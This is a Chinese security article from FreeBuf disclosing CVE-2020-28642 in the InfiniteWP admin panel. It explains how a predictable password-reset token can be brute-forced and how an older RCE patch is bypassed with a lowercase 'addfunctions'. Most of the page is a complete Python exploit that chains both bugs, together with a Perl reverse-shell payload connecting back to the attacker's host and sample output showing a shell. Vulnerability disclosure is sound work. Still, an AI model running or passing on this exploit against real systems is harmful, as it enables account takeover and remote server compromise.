freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

InfiniteWP管理员面板中的身份验证绕过和远程代码执行RCE
2020-12-22 21:20:49

漏洞概述

近期,研究人员在InfiniteWP中发现了一个安全漏洞,这个漏洞存在于InfiniteWP的密码重置机制之中,一旦成功利用该漏洞,未经身份验证的用户将能够绕过身份验证限制,并实现远程代码执行。

InfiniteWP是一个免费的WordPress多站点管理解决方案,只需要点击一个按钮,我们就可以轻松完成多个WordPress站点的管理任务。

但是,InfiniteWP中存在一个漏洞,该漏洞允许未经身份验证的用户通过系统中某个用户的电子邮件地址进行身份验证,这个漏洞存在于InfiniteWP的密码重置机制当中。

CVE编号

CVE-2020-28642

修复版本

Infinite WP 2.15.7及其更新版本

注意:官方悄悄修复了该漏洞,并且没有记录在更新日志之中,Infinite WP 2.15.7及其更新版本都不会受此漏洞的影响。

厂商回应

当我们在2020年9月通知供应商时,他们说他们之前已经知道了这个问题(几个月前向他们报告过),他们计划在3-4周内向所有用户发布补丁。他们让我们等到2021年1月,这样他们就可以确认他们所有的客户都已经修复了该漏洞。

几天前,我们发现其他研究人员已经发表了他的研究结果(大约在2020年11月),而供应商没有及时通知我们这一点,因此我们决定发布关于该漏洞的完整信息。

漏洞分析

一、弱密码重置令牌

InfiniteWP管理员面板负责创建密码重置链接,负责该功能的代码存在于userLoginResetPassword($params)函数之中,该函数位于controllers/appFunctions.php文件的第1341行代码处:

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));

$resetHash = sha1($hashValue);

[...]

$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

这里的$userDets[‘userID’] 是目标用户识别符,$params[“email”]则是用户的电子邮件地址。在重置目标用户密码的时候,攻击者只需要目标用户的ID、电子邮件和调用microtime(true)生成的值,就能够创建出重置密码的链接。

  • 用户ID是存储在数据库中的自动递增整数,默认值为1。那么,为了拥有更多的用户,就需要购买“manage users”插件(https://infinitewp.com/docs/addons/manage-users/)。也就是说,我们所使用的攻击脚本默认将尝试从1到5的用户ID值;
  • 攻击者可以在攻击发生之前测试用户电子邮件,如果输入的电子邮件未注册,程序则会返回不同的HTTP响应信息,即返回一个HTTP重定向,重定向地址为“php?view=resetPassword&errorMsg=resetPasswordEmailNotFound”,表示电子邮件未注册。如果输入的电子邮件未注册,攻击脚本会自动发出通知。
  • Microtime(true)生成的值为当前的UNIX时间戳,以微秒为单位(php.net/microtime)。因此,看可以使用HTTP “Date”Header值(精度为秒)作为字典来进行暴力破解。

通过创建包含所有可能的resetHash值的字典列表,我们可以爆破出正确的密码重置令牌并重置目标用户的密码。在24小时内最多可以尝试100万次爆破攻击,不过密码重置令牌将在24小时后将会过期。

在进行漏洞利用PoC的测试过程中,攻击所耗的平均时间为1个小时左右,也就是说,根据特定的网络速度、拥塞和配置,攻击所花的时间可能会不同。

此时,攻击者将能够重置目标用户的密码并访问InfiniteWP管理面板。而下一个漏洞将允许攻击者在目标主机上实现经过身份验证的远程代码执行。

二、通过”addFunctions”绕过”checkDataIsValid”实现远程代码执行

早在2016年的时候,研究人员就曾在InfiniteWP管理员面板的2.8.0版本中发现了一个远程代码执行漏洞,这个漏洞将影响/ajax.php API节点。关于该漏洞的详细信息可以参考这篇【文档】。正如报告中所写,新版本通过添加了一个针对函数checkDataIsValid($action)(位于controllers/panelRequestManager.php的第3782行)的调用来修复了该漏洞。

private static function checkDataIsValid($action){

    //Restricted function access

    $functions = array('addFunctions');

    if(!in_array($action, $functions)){

        return true;

    }

    return false;

}

但是,该检查没有考虑到PHP函数名不区分大小写的问题,因此通过使用addfunctions(注意小写的“f”),可以绕过这个补丁并实现远程代码执行了。

漏洞利用演示

漏洞利用代码PoC

#!/usr/bin/env python3

# coding: utf8

#

# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6

#

# tested on:

# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020

#

# the bug chain is made of two bugs:

# 1. weak password reset token leads to privilege escalation

# 2. rce patch from 2016 can be bypassed with same payload but lowercase

#

# example run:

# $ ./iwp_rce.py -e 'a@b.c' -rh http://192.168.11.129/iwp -lh 192.168.11.1

# 2020-08-13 14:45:29,496 - INFO - initiating password reset...

# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...

# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...

# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...

# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...

# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...

# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...

# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...

# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...

# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G

# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...

# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...

# /bin/sh: 0: can't access tty; job control turned off

# $ id

# uid=1(daemon) gid=1(daemon) groups=1(daemon)

# $ uname -a

# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

# $ exit

# *** Connection closed by remote host ***

#

# polict, 13/08/2020

 

import sys, time

import requests

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

from concurrent.futures import as_completed

from requests_futures.sessions import FuturesSession

import logging

import logging.handlers

import datetime

from argparse import ArgumentParser

from hashlib import sha1

import socket

import telnetlib

from threading import Thread

 

### default settings

DEFAULT_LPORT = 9111

DEFAULT_MICROS = 1000000

DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"

PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

 

### argument parsing

parser = ArgumentParser()

parser.add_argument("-rh", "--rhost", dest="rhost", required=True,

            help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")

parser.add_argument("-e", "--email", dest="email",

            help="target email", required=True)

parser.add_argument("-u", '--user-id', dest="uid",

            help="user_id (in the default installation it is 1, if not set will try 1..5)")

parser.add_argument("-lh", '--lhost', dest="lhost",

            help="local ip to use for remote shell connect-back",

            required=True)

parser.add_argument("-ts", '--token-timestamp', dest="start_ts",

            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")

parser.add_argument("-m", "--micros", dest="micros_elapsed",

            help="number of microseconds to test (if not set 1000000 (1 second))",

            default=DEFAULT_MICROS)

parser.add_argument("-lp", '--lport', dest="lport",

            help="local port to use for remote shell connect-back",

            default=DEFAULT_LPORT)

parser.add_argument("-p", '--new-password', dest="new_password",

            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),

            default=DEFAULT_NEW_PASSWORD)

parser.add_argument("-d", "--debug", dest="debug_mode",

            action="store_true",

            help="enable debug mode")

args = parser.parse_args()

 

log = logging.getLogger(__name__)

if args.debug_mode:

    log.setLevel(logging.DEBUG)

else:

    log.setLevel(logging.INFO)

 

handler = logging.StreamHandler(sys.stdout)

handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))

log.addHandler(handler)

 

### actual exploit logic

def init_pw_reset():

    global args

    start_clock = time.perf_counter()

    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)

    log.debug("init pw reset start ts: {}".format(start_ts))

    response = requests.post("{}/login.php".format(args.rhost), verify=False,

    data={

        "email": args.email,

        "action": "resetPasswordSendMail",

        "loginSubmit": "Send Reset Link"

    }, allow_redirects=False)

    log.debug("init pw reset returned these headers: {}".format(response.headers))

    """

    now we could use our registered timings to restrict the bruteforce values to the minimum range

    instead of using the whole "last second" microseconds range, however we can't be 100% sure

    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

 

    # calculate actual ntp-time range

    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)

    delta_clock = end_clock - start_clock

    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)

    log.debug("end: {}".format(end_ts))

    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))

    

    # this takes for garanteed that the response arrives before 1 minute is elapsed

    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds

    log.debug("micros elapsed: {}".format(micros_elapsed))

    """

 

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:

        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")

        sys.exit(1)

 

    # both redirects are ok because the reset hash is written in the db before sending the mail

    if response.status_code == 302 \

        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \

            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):

        

        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj

        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')

        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)

        log.debug("server time: {}".format(server_dt))

        """

        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

 

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):

            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail")

        """

        args.start_ts = int(server_dt.timestamp())

        # args.micros_elapsed = 1000000

 

        return

    else:

        log.error("pw reset init failed, check with debug enabled (-d)")

        sys.exit(1)

 

def generate_reset_hash(timestamp, uid):

    global args

    """

        $hashValue = serialize(array('hashCode' => 'resetPassword',

        'uniqueTime' => microtime(true),

        'userPin' => $userDets['userID']));

 

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

 

        $resetHash = sha1($hashValue);

    """

    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"

                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}

    serialized_resethash = template_ts_uid %(timestamp, uid)

    hash_obj = sha1(serialized_resethash.encode())

    reset_hash = hash_obj.hexdigest()

    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))

    return reset_hash

 

def brute_pw_reset():

    global args, start_time

    if args.uid is None:

        # in the default installation the uid is 1, but let's try also some others in case they have installed

        # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/

        uids = [1,2,3,4,5]

    else:

        uids = [args.uid]

    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))

    sha1_email = sha1(args.email.encode()).hexdigest()

    with FuturesSession() as session: # max_workers=4

        for uid in uids:

            log.info("starting with uid {}...".format(uid))

            microsecond = 0

            hashes_tested = 0

            while microsecond < args.micros_elapsed:

                futures = []

                # try 100k per time to avoid ram cluttering

                for _ in range(100000):

                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)

                    # unix_ts = int(test_ts.timestamp())

                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)

                    reset_hash = generate_reset_hash(ms_string, uid)

                    futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \

                        "action":"resetPasswordChange", \

                        "resetHash": reset_hash, \

                        "newPassword": args.new_password \

                    }, allow_redirects=False))

                    microsecond += 1

                for future in as_completed(futures):

                    if hashes_tested % 50000 == 0 and hashes_tested > 0:

                        log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))

                    hashes_tested += 1

                    response = future.result()

                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))

                    if "successMsg" in response.headers["location"] :

                        log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password))

                        log.info("removing from the queue all the remaining hashes...")

                        for future in futures:

                            future.cancel()

                        return

            log.info("target user doesn't have uid {}...".format(uid))

 

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))

    sys.exit(1)

 

def handler():

    global args

    t = telnetlib.Telnet()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.bind(("0.0.0.0", args.lport))

    s.listen(1)

    conn, addr = s.accept()

    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))

    t.sock = conn

    t.interact()

 

def login_and_rce():

    global args

    handlerthr = Thread(target=handler)

    handlerthr.start()

 

    # login and record cookies

    s = requests.Session()

    log.debug("logging in...")

    login = s.post("{}/login.php".format(args.rhost), data={"email": args.email,

    "password": args.new_password,

    "loginSubmit": "Log in"})

    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

 

    # rce

    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",

    # notice the lowercase f

    # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html)

    "requiredData[addfunctions]" : "system",

    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)

    })

    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

 

if __name__ == '__main__':

    if args.start_ts is None:

        log.info("initiating password reset...")

        init_pw_reset()

    log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))

    brute_pw_reset()

    log.info("spawning a remote shell...")

    login_and_rce()
# 漏洞分析 # InfiniteWP漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录